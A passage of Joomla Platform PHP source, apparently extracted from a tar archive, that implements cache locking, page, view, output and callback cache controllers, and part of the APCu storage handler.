			// Loop until you find that the lock has been released. That implies that data get from other thread has finished
			while ($data_lock !== false)
			{
				if ($lock_counter > $looptime)
				{
					$returning->locked = false;
					$returning->locklooped = true;
					break;
				}

				usleep(100);
				$data_lock = $this->get($id2, $group);
				$lock_counter++;
			}
		}

		if ($this->_options['locking'] == true && $this->_options['caching'] == true)
		{
			$returning->locked = $this->store(1, $id2, $group);
		}

		// Revert lifetime to previous one
		$this->_options['lifetime'] = $curentlifetime;

		return $returning;
	}

	/**
	 * Unset lock flag on cached item
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function unlock($id, $group = null)
	{
		$unlock = false;

		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Allow handlers to perform unlocking on their own
		$handler = $this->_getStorage();

		if (!($handler instanceof Exception) && $this->_options['caching'])
		{
			$unlocked = $handler->unlock($id, $group);

			if ($unlocked !== false)
			{
				return $unlocked;
			}
		}

		// Fallback
		if ($this->_options['caching'])
		{
			$unlock = $this->remove($id . '_lock', $group);
		}

		return $unlock;
	}

	/**
	 * Get the cache storage handler
	 *
	 * @return  JCacheStorage
	 *
	 * @since   11.1
	 */
	public function &_getStorage()
	{
		$hash = md5(serialize($this->_options));

		if (isset(self::$_handler[$hash]))
		{
			return self::$_handler[$hash];
		}

		self::$_handler[$hash] = JCacheStorage::getInstance($this->_options['storage'], $this->_options);

		return self::$_handler[$hash];
	}

	/**
	 * Perform workarounds on retrieved cached data
	 *
	 * @param   string  $data     Cached data
	 * @param   array   $options  Array of options
	 *
	 * @return  string  Body of cached data
	 *
	 * @since   11.1
	 */
	public static function getWorkarounds($data, $options = array())
	{
		$app      = JFactory::getApplication();
		$document = JFactory::getDocument();
		$body     = null;

		// Get the document head out of the cache.
		if (isset($options['mergehead']) && $options['mergehead'] == 1 && isset($data['head']) && !empty($data['head'])
			&& method_exists($document, 'mergeHeadData'))
		{
			$document->mergeHeadData($data['head']);
		}
		elseif (isset($data['head']) && method_exists($document, 'setHeadData'))
		{
			$document->setHeadData($data['head']);
		}

		// Get the document MIME encoding out of the cache
		if (isset($data['mime_encoding']))
		{
			$document->setMimeEncoding($data['mime_encoding'], true);
		}

		// If the pathway buffer is set in the cache data, get it.
		if (isset($data['pathway']) && is_array($data['pathway']))
		{
			// Push the pathway data into the pathway object.
			$app->getPathway()->setPathway($data['pathway']);
		}

		// @todo check if the following is needed, seems like it should be in page cache
		// If a module buffer is set in the cache data, get it.
		if (isset($data['module']) && is_array($data['module']))
		{
			// Iterate through the module positions and push them into the document buffer.
			foreach ($data['module'] as $name => $contents)
			{
				$document->setBuffer($contents, 'module', $name);
			}
		}

		// Set cached headers.
		if (isset($data['headers']) && $data['headers'])
		{
			foreach ($data['headers'] as $header)
			{
				$app->setHeader($header['name'], $header['value']);
			}
		}

		// The following code searches for a token in the cached page and replaces it with the proper token.
		if (isset($data['body']))
		{
			$token       = JSession::getFormToken();
			$search      = '#<input type="hidden" name="[0-9a-f]{32}" value="1" />#';
			$replacement = '<input type="hidden" name="' . $token . '" value="1" />';

			$data['body'] = preg_replace($search, $replacement, $data['body']);
			$body         = $data['body'];
		}

		// Get the document body out of the cache.
		return $body;
	}

	/**
	 * Create workarounds for data to be cached
	 *
	 * @param   string  $data     Cached data
	 * @param   array   $options  Array of options
	 *
	 * @return  string  Data to be cached
	 *
	 * @since   11.1
	 */
	public static function setWorkarounds($data, $options = array())
	{
		$loptions = array(
			'nopathway'  => 0,
			'nohead'     => 0,
			'nomodules'  => 0,
			'modulemode' => 0,
		);

		if (isset($options['nopathway']))
		{
			$loptions['nopathway'] = $options['nopathway'];
		}

		if (isset($options['nohead']))
		{
			$loptions['nohead'] = $options['nohead'];
		}

		if (isset($options['nomodules']))
		{
			$loptions['nomodules'] = $options['nomodules'];
		}

		if (isset($options['modulemode']))
		{
			$loptions['modulemode'] = $options['modulemode'];
		}

		$app      = JFactory::getApplication();
		$document = JFactory::getDocument();

		if ($loptions['nomodules'] != 1)
		{
			// Get the modules buffer before component execution.
			$buffer1 = $document->getBuffer();

			if (!is_array($buffer1))
			{
				$buffer1 = array();
			}

			// Make sure the module buffer is an array.
			if (!isset($buffer1['module']) || !is_array($buffer1['module']))
			{
				$buffer1['module'] = array();
			}
		}

		// View body data
		$cached['body'] = $data;

		// Document head data
		if ($loptions['nohead'] != 1 && method_exists($document, 'getHeadData'))
		{
			if ($loptions['modulemode'] == 1)
			{
				$headnow = $document->getHeadData();
				$unset   = array('title', 'description', 'link', 'links', 'metaTags');

				foreach ($unset as $un)
				{
					unset($headnow[$un]);
					unset($options['headerbefore'][$un]);
				}

				$cached['head'] = array();

				// Only store what this module has added
				foreach ($headnow as $now => $value)
				{
					if (isset($options['headerbefore'][$now]))
					{
						// We have to serialize the content of the arrays because the may contain other arrays which is a notice in PHP 5.4 and newer
						$nowvalue    = array_map('serialize', $headnow[$now]);
						$beforevalue = array_map('serialize', $options['headerbefore'][$now]);

						$newvalue = array_diff_assoc($nowvalue, $beforevalue);
						$newvalue = array_map('unserialize', $newvalue);

						// Special treatment for script and style declarations.
						if (($now == 'script' || $now == 'style') && is_array($newvalue) && is_array($options['headerbefore'][$now]))
						{
							foreach ($newvalue as $type => $currentScriptStr)
							{
								if (isset($options['headerbefore'][$now][strtolower($type)]))
								{
									$oldScriptStr = $options['headerbefore'][$now][strtolower($type)];

									if ($oldScriptStr != $currentScriptStr)
									{
										// Save only the appended declaration.
										$newvalue[strtolower($type)] = StringHelper::substr($currentScriptStr, StringHelper::strlen($oldScriptStr));
									}
								}
							}
						}
					}
					else
					{
						$newvalue = $headnow[$now];
					}

					if (!empty($newvalue))
					{
						$cached['head'][$now] = $newvalue;
					}
				}
			}
			else
			{
				$cached['head'] = $document->getHeadData();
			}
		}

		// Document MIME encoding
		$cached['mime_encoding'] = $document->getMimeEncoding();

		// Pathway data
		if ($app->isSite() && $loptions['nopathway'] != 1)
		{
			$cached['pathway'] = is_array($data) && isset($data['pathway']) ? $data['pathway'] : $app->getPathway()->getPathway();
		}

		if ($loptions['nomodules'] != 1)
		{
			// @todo Check if the following is needed, seems like it should be in page cache
			// Get the module buffer after component execution.
			$buffer2 = $document->getBuffer();

			if (!is_array($buffer2))
			{
				$buffer2 = array();
			}

			// Make sure the module buffer is an array.
			if (!isset($buffer2['module']) || !is_array($buffer2['module']))
			{
				$buffer2['module'] = array();
			}

			// Compare the second module buffer against the first buffer.
			$cached['module'] = array_diff_assoc($buffer2['module'], $buffer1['module']);
		}

		// Headers data
		if (isset($options['headers']) && $options['headers'])
		{
			$cached['headers'] = $app->getHeaders();
		}

		return $cached;
	}

	/**
	 * Create a safe ID for cached data from URL parameters
	 *
	 * @return  string  MD5 encoded cache ID
	 *
	 * @since   11.1
	 */
	public static function makeId()
	{
		$app = JFactory::getApplication();

		$registeredurlparams = new stdClass;

		// Get url parameters set by plugins
		if (!empty($app->registeredurlparams))
		{
			$registeredurlparams = $app->registeredurlparams;
		}

		// Platform defaults
		$defaulturlparams = array(
			'format' => 'WORD',
			'option' => 'WORD',
			'view'   => 'WORD',
			'layout' => 'WORD',
			'tpl'    => 'CMD',
			'id'     => 'INT'
		);

		// Use platform defaults if parameter doesn't already exist.
		foreach ($defaulturlparams as $param => $type)
		{
			if (!property_exists($registeredurlparams, $param))
			{
				$registeredurlparams->$param = $type;
			}
		}

		$safeuriaddon = new stdClass;

		foreach ($registeredurlparams as $key => $value)
		{
			$safeuriaddon->$key = $app->input->get($key, null, $value);
		}

		return md5(serialize($safeuriaddon));
	}

	/**
	 * Set a prefix cache key if device calls for separate caching
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public static function getPlatformPrefix()
	{
		// No prefix when Global Config is set to no platfom specific prefix
		if (!JFactory::getConfig()->get('cache_platformprefix', '0'))
		{
			return '';
		}

		$webclient = new JApplicationWebClient;

		if ($webclient->mobile)
		{
			return 'M-';
		}

		return '';
	}

	/**
	 * Add a directory where JCache should search for handlers. You may either pass a string or an array of directories.
	 *
	 * @param   array|string  $path  A path to search.
	 *
	 * @return  array   An array with directory elements
	 *
	 * @since   11.1
	 */
	public static function addIncludePath($path = '')
	{
		static $paths;

		if (!isset($paths))
		{
			$paths = array();
		}

		if (!empty($path) && !in_array($path, $paths))
		{
			jimport('joomla.filesystem.path');
			array_unshift($paths, JPath::clean($path));
		}

		return $paths;
	}
}
cms/joomla/cache/controller/000755 001411 001411 00000000000 12750043556 016602 5ustar00panelpanel000000 000000 cms/joomla/cache/controller.php000644 001411 001411 00000011610 12750043556 017312 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Public cache handler
 *
 * @since  11.1
 */
class JCacheController
{
	/**
	 * JCache object
	 *
	 * @var    JCache
	 * @since  11.1
	 */
	public $cache;

	/**
	 * Array of options
	 *
	 * @var    array
	 * @since  11.1
	 */
	public $options;

	/**
	 * Constructor
	 *
	 * @param   array  $options  Array of options
	 *
	 * @since   11.1
	 */
	public function __construct($options)
	{
		$this->cache = new JCache($options);
		$this->options = & $this->cache->_options;

		// Overwrite default options with given options
		foreach ($options as $option => $value)
		{
			if (isset($options[$option]))
			{
				$this->options[$option] = $options[$option];
			}
		}
	}

	/**
	 * Magic method to proxy JCacheController method calls to JCache
	 *
	 * @param   string  $name       Name of the function
	 * @param   array   $arguments  Array of arguments for the function
	 *
	 * @return  mixed
	 *
	 * @since   11.1
	 */
	public function __call($name, $arguments)
	{
		$nazaj = call_user_func_array(array($this->cache, $name), $arguments);

		return $nazaj;
	}

	/**
	 * Returns a reference to a cache adapter object, always creating it
	 *
	 * @param   string  $type     The cache object type to instantiate; default is output.
	 * @param   array   $options  Array of options
	 *
	 * @return  JCacheController
	 *
	 * @since   11.1
	 * @throws  RuntimeException
	 */
	public static function getInstance($type = 'output', $options = array())
	{
		self::addIncludePath(JPATH_PLATFORM . '/joomla/cache/controller');

		$type = strtolower(preg_replace('/[^A-Z0-9_\.-]/i', '', $type));

		$class = 'JCacheController' . ucfirst($type);

		if (!class_exists($class))
		{
			// Search for the class file in the JCache include paths.
			jimport('joomla.filesystem.path');

			$path = JPath::find(self::addIncludePath(), strtolower($type) . '.php');

			if ($path === false)
			{
				throw new RuntimeException('Unable to load Cache Controller: ' . $type, 500);
			}

			include_once $path;

			// The class should now be loaded
			if (!class_exists($class))
			{
				throw new RuntimeException('Unable to load Cache Controller: ' . $type, 500);
			}
		}

		return new $class($options);
	}

	/**
	 * Set caching enabled state
	 *
	 * @param   boolean  $enabled  True to enable caching
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function setCaching($enabled)
	{
		$this->cache->setCaching($enabled);
	}

	/**
	 * Set cache lifetime
	 *
	 * @param   integer  $lt  Cache lifetime
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	public function setLifeTime($lt)
	{
		$this->cache->setLifeTime($lt);
	}

	/**
	 * Add a directory where JCache should search for controllers. You may either pass a string or an array of directories.
	 *
	 * @param   array|string  $path  A path to search.
	 *
	 * @return  array  An array with directory elements
	 *
	 * @since   11.1
	 */
	public static function addIncludePath($path = '')
	{
		static $paths;

		if (!isset($paths))
		{
			$paths = array();
		}

		if (!empty($path) && !in_array($path, $paths))
		{
			jimport('joomla.filesystem.path');
			array_unshift($paths, JPath::clean($path));
		}

		return $paths;
	}

	/**
	 * Get stored cached data by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  mixed  Boolean false on no result, cached object otherwise
	 *
	 * @since   11.1
	 */
	public function get($id, $group = null)
	{
		$data = $this->cache->get($id, $group);

		if ($data === false)
		{
			$locktest = $this->cache->lock($id, $group);

			if ($locktest->locked == true && $locktest->locklooped == true)
			{
				$data = $this->cache->get($id, $group);
			}

			if ($locktest->locked == true)
			{
				$this->cache->unlock($id, $group);
			}
		}

		// Check again because we might get it from second attempt
		if ($data !== false)
		{
			// Trim to fix unserialize errors
			$data = unserialize(trim($data));
		}

		return $data;
	}

	/**
	 * Store data to cache by ID and group
	 *
	 * @param   mixed    $data        The data to store
	 * @param   string   $id          The cache data ID
	 * @param   string   $group       The cache data group
	 * @param   boolean  $wrkarounds  True to use wrkarounds
	 *
	 * @return  boolean  True if cache stored
	 *
	 * @since   11.1
	 */
	public function store($data, $id, $group = null, $wrkarounds = true)
	{
		$locktest = $this->cache->lock($id, $group);

		if ($locktest->locked == false && $locktest->locklooped == true)
		{
			$locktest = $this->cache->lock($id, $group);
		}

		$success = $this->cache->store(serialize($data), $id, $group);

		if ($locktest->locked == true)
		{
			$this->cache->unlock($id, $group);
		}

		return $success;
	}
}
cms/joomla/cache/controller/view.php000644 001411 001411 00000006320 12750043556 020266 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Joomla! Cache view type object
 *
 * @since  11.1
 */
class JCacheControllerView extends JCacheController
{
	/**
	 * Get the cached view data
	 *
	 * @param   object   $view        The view object to cache output for
	 * @param   string   $method      The method name of the view method to cache output for
	 * @param   mixed    $id          The cache data ID
	 * @param   boolean  $wrkarounds  True to enable workarounds.
	 *
	 * @return  boolean  True if the cache is hit (false else)
	 *
	 * @since   11.1
	 */
	public function get($view, $method = 'display', $id = false, $wrkarounds = true)
	{
		// If an id is not given generate it from the request
		if ($id == false)
		{
			$id = $this->_makeId($view, $method);
		}

		$data = $this->cache->get($id);

		$locktest             = new stdClass;
		$locktest->locked     = null;
		$locktest->locklooped = null;

		if ($data === false)
		{
			$locktest = $this->cache->lock($id, null);

			/*
			 * If the loop is completed and returned true it means the lock has been set.
			 * If looped is true try to get the cached data again; it could exist now.
			 */
			if ($locktest->locked == true && $locktest->locklooped == true)
			{
				$data = $this->cache->get($id);
			}

			// False means that locking is either turned off or maxtime has been exceeded. Execute the view.
		}

		if ($data !== false)
		{
			$data = unserialize(trim($data));

			if ($wrkarounds === true)
			{
				echo JCache::getWorkarounds($data);
			}
			else
			{
				// No workarounds, so all data is stored in one piece
				echo isset($data) ? $data : null;
			}

			if ($locktest->locked == true)
			{
				$this->cache->unlock($id);
			}

			return true;
		}

		// No hit so we have to execute the view
		if (method_exists($view, $method))
		{
			// If previous lock failed try again
			if ($locktest->locked == false)
			{
				$locktest = $this->cache->lock($id);
			}

			// Capture and echo output
			ob_start();
			ob_implicit_flush(false);
			$view->$method();
			$data = ob_get_clean();
			echo $data;

			/*
			 * For a view we have a special case.  We need to cache not only the output from the view, but the state
			 * of the document head after the view has been rendered.  This will allow us to properly cache any attached
			 * scripts or stylesheets or links or any other modifications that the view has made to the document object
			 */
			$cached = $wrkarounds == true ? JCache::setWorkarounds($data) : $data;

			// Store the cache data
			$this->cache->store(serialize($cached), $id);

			if ($locktest->locked == true)
			{
				$this->cache->unlock($id);
			}
		}

		return false;
	}

	/**
	 * Generate a view cache ID.
	 *
	 * @param   object  &$view   The view object to cache output for
	 * @param   string  $method  The method name to cache for the view object
	 *
	 * @return  string  MD5 Hash
	 *
	 * @since   11.1
	 */
	protected function _makeId(&$view, $method)
	{
		return md5(serialize(array(JCache::makeId(), get_class($view), $method)));
	}
}
cms/joomla/cache/controller/output.php000644 001411 001411 00000004731 12750043556 020660 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Joomla Cache output type object
 *
 * @since  11.1
 */
class JCacheControllerOutput extends JCacheController
{
	/**
	 * Cache data ID
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $_id;

	/**
	 * Cache data group
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $_group;

	/**
	 * Object to test locked state
	 *
	 * @var    stdClass
	 * @since  11.1
	 */
	protected $_locktest = null;

	/**
	 * Start the cache
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function start($id, $group = null)
	{
		// If we have data in cache use that.
		$data = $this->cache->get($id, $group);

		$this->_locktest             = new stdClass;
		$this->_locktest->locked     = null;
		$this->_locktest->locklooped = null;

		if ($data === false)
		{
			$this->_locktest = $this->cache->lock($id, $group);

			if ($this->_locktest->locked == true && $this->_locktest->locklooped == true)
			{
				$data = $this->cache->get($id, $group);
			}
		}

		if ($data !== false)
		{
			$data = unserialize(trim($data));
			echo $data;

			if ($this->_locktest->locked == true)
			{
				$this->cache->unlock($id, $group);
			}

			return true;
		}

		// Nothing in cache... let's start the output buffer and start collecting data for next time.
		if ($this->_locktest->locked == false)
		{
			$this->_locktest = $this->cache->lock($id, $group);
		}

		ob_start();
		ob_implicit_flush(false);

		// Set id and group placeholders
		$this->_id = $id;
		$this->_group = $group;

		return false;
	}

	/**
	 * Stop the cache buffer and store the cached data
	 *
	 * @return  boolean  True if the cache data was stored
	 *
	 * @since   11.1
	 */
	public function end()
	{
		// Get data from output buffer and echo it
		$data = ob_get_clean();
		echo $data;

		// Get the ID and group and reset the placeholders
		$id           = $this->_id;
		$group        = $this->_group;
		$this->_id    = null;
		$this->_group = null;

		// Get the storage handler and store the cached data
		$ret = $this->cache->store(serialize($data), $id, $group);

		if ($this->_locktest->locked == true)
		{
			$this->cache->unlock($id, $group);
		}

		return $ret;
	}
}
cms/joomla/cache/controller/page.php000644 001411 001411 00000010565 12750043556 020236 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Joomla! Cache page type object
 *
 * @since  11.1
 */
class JCacheControllerPage extends JCacheController
{
	/**
	 * ID property for the cache page object.
	 *
	 * @var    integer
	 * @since  11.1
	 */
	protected $_id;

	/**
	 * Cache group
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $_group;

	/**
	 * Cache lock test
	 *
	 * @var    stdClass
	 * @since  11.1
	 */
	protected $_locktest = null;

	/**
	 * Get the cached page data
	 *
	 * @param   boolean  $id     The cache data ID
	 * @param   string   $group  The cache data group
	 *
	 * @return  mixed  Boolean false on no result, cached object otherwise
	 *
	 * @since   11.1
	 */
	public function get($id = false, $group = 'page')
	{
		// If an id is not given, generate it from the request
		if ($id == false)
		{
			$id = $this->_makeId();
		}

		// If the etag matches the page id ... set a no change header and exit : utilize browser cache
		if (!headers_sent() && isset($_SERVER['HTTP_IF_NONE_MATCH']))
		{
			$etag = stripslashes($_SERVER['HTTP_IF_NONE_MATCH']);

			if ($etag == $id)
			{
				$browserCache = isset($this->options['browsercache']) ? $this->options['browsercache'] : false;

				if ($browserCache)
				{
					$this->_noChange();
				}
			}
		}

		// We got a cache hit... set the etag header and echo the page data
		$data = $this->cache->get($id, $group);

		$this->_locktest             = new stdClass;
		$this->_locktest->locked     = null;
		$this->_locktest->locklooped = null;

		if ($data === false)
		{
			$this->_locktest = $this->cache->lock($id, $group);

			if ($this->_locktest->locked == true && $this->_locktest->locklooped == true)
			{
				$data = $this->cache->get($id, $group);
			}
		}

		if ($data !== false)
		{
			$data = unserialize(trim($data));

			$data = JCache::getWorkarounds($data);

			$this->_setEtag($id);

			if ($this->_locktest->locked == true)
			{
				$this->cache->unlock($id, $group);
			}

			return $data;
		}

		// Set ID and group placeholders
		$this->_id    = $id;
		$this->_group = $group;

		return false;
	}

	/**
	 * Stop the cache buffer and store the cached data
	 *
	 * @param   mixed    $data        The data to store
	 * @param   string   $id          The cache data ID
	 * @param   string   $group       The cache data group
	 * @param   boolean  $wrkarounds  True to use wrkarounds
	 *
	 * @return  boolean
	 *
	 * @since   11.1
	 */
	public function store($data, $id, $group = null, $wrkarounds = true)
	{
		// Get page data from the application object
		if (empty($data))
		{
			$data = JFactory::getApplication()->getBody();
		}

		// Get id and group and reset the placeholders
		if (empty($id))
		{
			$id = $this->_id;
		}

		if (empty($group))
		{
			$group = $this->_group;
		}

		// Only attempt to store if page data exists
		if ($data)
		{
			if ($wrkarounds)
			{
				$data = JCache::setWorkarounds(
					$data,
					array(
						'nopathway' => 1,
						'nohead'    => 1,
						'nomodules' => 1,
						'headers'   => true
					)
				);
			}

			if ($this->_locktest->locked == false)
			{
				$this->_locktest = $this->cache->lock($id, $group);
			}

			$sucess = $this->cache->store(serialize($data), $id, $group);

			if ($this->_locktest->locked == true)
			{
				$this->cache->unlock($id, $group);
			}

			return $sucess;
		}

		return false;
	}

	/**
	 * Generate a page cache id
	 *
	 * @return  string  MD5 Hash
	 *
	 * @since   11.1
	 * @todo    Discuss whether this should be coupled to a data hash or a request hash ... perhaps hashed with a serialized request
	 */
	protected function _makeId()
	{
		return JCache::makeId();
	}

	/**
	 * There is no change in page data so send an unmodified header and die gracefully
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function _noChange()
	{
		$app = JFactory::getApplication();

		// Send not modified header and exit gracefully
		header('HTTP/1.x 304 Not Modified', true);
		$app->close();
	}

	/**
	 * Set the ETag header in the response
	 *
	 * @param   string  $etag  The entity tag (etag) to set
	 *
	 * @return  void
	 *
	 * @since   11.1
	 */
	protected function _setEtag($etag)
	{
		JFactory::getApplication()->setHeader('ETag', $etag, true);
	}
}
cms/joomla/cache/controller/callback.php000644 001411 001411 00000012456 12750043556 021057 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * Joomla! Cache callback type object
 *
 * @since  11.1
 */
class JCacheControllerCallback extends JCacheController
{
	/**
	 * Executes a cacheable callback if not found in cache else returns cached output and result
	 *
	 * Since arguments to this function are read with func_get_args you can pass any number of arguments to this method
	 * as long as the first argument passed is the callback definition.
	 *
	 * The callback definition can be in several forms:
	 * - Standard PHP Callback array see <https://secure.php.net/callback> [recommended]
	 * - Function name as a string eg. 'foo' for function foo()
	 * - Static method name as a string eg. 'MyClass::myMethod' for method myMethod() of class MyClass
	 *
	 * @return  mixed  Result of the callback
	 *
	 * @since   11.1
	 */
	public function call()
	{
		// Get callback and arguments
		$args     = func_get_args();
		$callback = array_shift($args);

		return $this->get($callback, $args);
	}

	/**
	 * Executes a cacheable callback if not found in cache else returns cached output and result
	 *
	 * @param   mixed    $callback    Callback or string shorthand for a callback
	 * @param   array    $args        Callback arguments
	 * @param   mixed    $id          Cache ID
	 * @param   boolean  $wrkarounds  True to use wrkarounds
	 * @param   array    $woptions    Workaround options
	 *
	 * @return  mixed  Result of the callback
	 *
	 * @since   11.1
	 */
	public function get($callback, $args = array(), $id = false, $wrkarounds = false, $woptions = array())
	{
		// Normalize callback
		if (is_array($callback))
		{
			// We have a standard php callback array -- do nothing
		}
		elseif (strstr($callback, '::'))
		{
			// This is shorthand for a static method callback classname::methodname
			list ($class, $method) = explode('::', $callback);
			$callback = array(trim($class), trim($method));
		}
		elseif (strstr($callback, '->'))
		{
			/*
			 * This is a really not so smart way of doing this... we provide this for backward compatability but this
			 * WILL! disappear in a future version.  If you are using this syntax change your code to use the standard
			 * PHP callback array syntax: <https://secure.php.net/callback>
			 *
			 * We have to use some silly global notation to pull it off and this is very unreliable
			 */
			list ($object_123456789, $method) = explode('->', $callback);
			global $$object_123456789;
			$callback = array($$object_123456789, $method);
		}

		if (!$id)
		{
			// Generate an ID
			$id = $this->_makeId($callback, $args);
		}

		$data = $this->cache->get($id);

		$locktest             = new stdClass;
		$locktest->locked     = null;
		$locktest->locklooped = null;

		if ($data === false)
		{
			$locktest = $this->cache->lock($id);

			if ($locktest->locked == true && $locktest->locklooped == true)
			{
				$data = $this->cache->get($id);
			}
		}

		$coptions = array();

		if ($data !== false)
		{
			$cached                = unserialize(trim($data));
			$coptions['mergehead'] = isset($woptions['mergehead']) ? $woptions['mergehead'] : 0;
			$output                = ($wrkarounds == false) ? $cached['output'] : JCache::getWorkarounds($cached['output'], $coptions);
			$result                = $cached['result'];

			if ($locktest->locked == true)
			{
				$this->cache->unlock($id);
			}
		}
		else
		{
			if (!is_array($args))
			{
				$referenceArgs = !empty($args) ? array(&$args) : array();
			}
			else
			{
				$referenceArgs = &$args;
			}

			if ($locktest->locked == false)
			{
				$locktest = $this->cache->lock($id);
			}

			if (isset($woptions['modulemode']) && $woptions['modulemode'] == 1)
			{
				$document = JFactory::getDocument();
				$coptions['modulemode'] = 1;
				if (method_exists($document, 'getHeadData'))
				{
					$coptions['headerbefore'] = $document->getHeadData();
				}	
			}
			else
			{
				$coptions['modulemode'] = 0;
			}

			ob_start();
			ob_implicit_flush(false);

			$result = call_user_func_array($callback, $referenceArgs);
			$output = ob_get_clean();

			$coptions['nopathway'] = isset($woptions['nopathway']) ? $woptions['nopathway'] : 1;
			$coptions['nohead']    = isset($woptions['nohead']) ? $woptions['nohead'] : 1;
			$coptions['nomodules'] = isset($woptions['nomodules']) ? $woptions['nomodules'] : 1;

			$cached = array(
				'output' => ($wrkarounds == false) ? $output : JCache::setWorkarounds($output, $coptions),
				'result' => $result
			);

			// Store the cache data
			$this->cache->store(serialize($cached), $id);

			if ($locktest->locked == true)
			{
				$this->cache->unlock($id);
			}
		}

		echo $output;

		return $result;
	}

	/**
	 * Generate a callback cache ID
	 *
	 * @param   callback  $callback  Callback to cache
	 * @param   array     $args      Arguments to the callback method to cache
	 *
	 * @return  string  MD5 Hash
	 *
	 * @since   11.1
	 */
	protected function _makeId($callback, $args)
	{
		if (is_array($callback) && is_object($callback[0]))
		{
			$vars        = get_object_vars($callback[0]);
			$vars[]      = strtolower(get_class($callback[0]));
			$callback[0] = $vars;
		}

		return md5(serialize(array($callback, $args)));
	}
}
cms/joomla/cache/storage/apcu.php000644 001411 001411 00000013265 12750043556 017533 0ustar00panelpanel000000 000000 <?php
/**
 * @package     Joomla.Platform
 * @subpackage  Cache
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

/**
 * APCu cache storage handler
 *
 * @see    https://secure.php.net/manual/en/ref.apcu.php
 * @since  3.5
 */
class JCacheStorageApcu extends JCacheStorage
{
	/**
	 * Get cached data by ID and group
	 *
	 * @param   string   $id         The cache data ID
	 * @param   string   $group      The cache data group
	 * @param   boolean  $checkTime  True to verify cache time expiration threshold
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   3.5
	 */
	public function get($id, $group, $checkTime = true)
	{
		return apcu_fetch($this->_getCacheId($id, $group));
	}

	/**
	 * Get all cached data
	 *
	 * @return  mixed  Boolean false on failure or a cached data object
	 *
	 * @since   3.5
	 */
	public function getAll()
	{
		$allinfo = apcu_cache_info();
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		$data = array();

		foreach ($keys as $key)
		{
			// The internal key name changed with APCu 4.0.7 from key to info
			$name    = isset($key['info']) ? $key['info'] : $key['key'];
			$namearr = explode('-', $name);

			if ($namearr !== false && $namearr[0] == $secret && $namearr[1] == 'cache')
			{
				$group = $namearr[2];

				if (!isset($data[$group]))
				{
					$item = new JCacheStorageHelper($group);
				}
				else
				{
					$item = $data[$group];
				}

				$item->updateSize($key['mem_size'] / 1024);

				$data[$group] = $item;
			}
		}

		return $data;
	}

	/**
	 * Store the data to cache by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 * @param   string  $data   The data to store in cache
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function store($id, $group, $data)
	{
		return apcu_store($this->_getCacheId($id, $group), $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by ID and group
	 *
	 * @param   string  $id     The cache data ID
	 * @param   string  $group  The cache data group
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);

		// The apcu_delete function returns false if the ID does not exist
		if (apcu_exists($cache_id))
		{
			return apcu_delete($cache_id);
		}

		return true;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode    : cleans all cache in the group
	 * notgroup mode : cleans all cache not in the group
	 *
	 * @param   string  $group  The cache data group
	 * @param   string  $mode   The mode for cleaning cache [group|notgroup]
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function clean($group, $mode = null)
	{
		$allinfo = apcu_cache_info();
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
			// The internal key name changed with APCu 4.0.7 from key to info
			$internalKey = isset($key['info']) ? $key['info'] : $key['key'];

			if (strpos($internalKey, $secret . '-cache-' . $group . '-') === 0 xor $mode != 'group')
			{
				apcu_delete($internalKey);
			}
		}

		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	public function gc()
	{
		$allinfo = apcu_cache_info();
		$keys    = $allinfo['cache_list'];
		$secret  = $this->_hash;

		foreach ($keys as $key)
		{
